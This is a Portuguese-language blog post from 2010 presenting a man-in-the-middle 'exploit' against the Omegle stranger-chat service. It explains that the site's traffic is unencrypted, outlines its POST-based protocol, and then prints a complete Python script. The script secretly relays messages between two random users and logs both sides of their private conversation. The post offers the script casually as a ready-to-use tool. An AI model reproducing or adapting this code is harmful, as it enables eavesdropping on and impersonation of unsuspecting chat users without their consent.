sábado, 10 de abril de 2010
Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.

Vamos analizar uma simples conversa usando um sniffer qualquer



O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.

Exemplo ilustrativo da comunicação:

You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat


Como capturar as conversas?
Use o exploit abaixo: =P

from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *

headers = {"Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "application/json"}

class Send_Thread( Thread ):

def __init__(self, user, que):
Thread.__init__(self)

self.que = que

self.con = HTTPConnection("omegle.com:80")
self.user = user

def run ( self ):

done = False

while done == False:

#print "-------------------------------------"

try:

#print "Checking Que"
packet = self.que.get()

#print packet

if packet[0] == "message":

params = urlencode({'msg':packet[1], 'id':self.user})
self.con.request("POST", "/send", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "typing":

params = urlencode({'id':self.user})
self.con.request("POST", "/typing", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "disconnect":

params = urlencode({'id':self.user})
self.con.request("POST", "/disconnect", params, headers)
response = self.con.getresponse().read()

done = True

self.que.task_done()

#print self.user + " - SENT - " + message

except:

#print "QUE ERROR"
pass


class Recv_Thread( Thread ):

def __init__(self, user, que, color):
Thread.__init__(self)

self.que = que
self.user = user
self.con = HTTPConnection("omegle.com:80")
self.params = urlencode({'id':user})
self.color = color

def run ( self ):

self.user = self.color + self.user

done = False
while done == False:

#print "-------------------------------------"

self.con.request("POST", "/events", self.params, headers)

chat = self.con.getresponse().read()

#print chat

if chat == "null": # null only recieved if stanger left
chat = "[['strangerDisconnected']]" # format so it falls through tree

if chat == "[]": # weird response from omegle
chat = "[['']]" # format it so it falls through switch

chat = eval(chat)[0]


if chat[0] == "connected":

print self.user + " - CONNECTED"

elif chat[0] == "waiting":

print self.user + " - WAITING"

elif chat[0] == "gotMessage":

self.que.put(["message", chat[1]])

print "-------------------------------------"
print self.user + " - " + chat[1]

elif chat[0] == "typing":

self.que.put(["typing", ''])
#print self.user + " - TYPING"


elif chat[0] == "stoppedTyping":

pass # todo: que stopped typing
#print self.user + " - STOPPED TYPING"

elif chat[0] == "strangerDisconnected":

self.que.put(["disconnect", ''])
print self.user + " - DISCONNECTED"
done = True

else:

print self.user + " - ERROR"
print chat


con_one = HTTPConnection("omegle.com:80")
con_two = HTTPConnection("omegle.com:80")

con_one.request("POST", "/start", 0, headers)
con_two.request("POST", "/start", 0, headers)

id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())

print "One: " + id_one
print "Two: " + id_two

q_one = Queue()
q_two = Queue()

Recv_Thread(id_one, q_one, "\033[0;34m").start()
Recv_Thread(id_two, q_two, "\033[0;31m").start()

Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()


Pra quem não sabe o script acima é em python.

Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/

Original por bear24rw

Abraços!

0 comentários:

Postar um comentário

 
Copyright © Masterplan
Blogger Theme by BloggerThemes Sponsored by Busy Buzz Blogging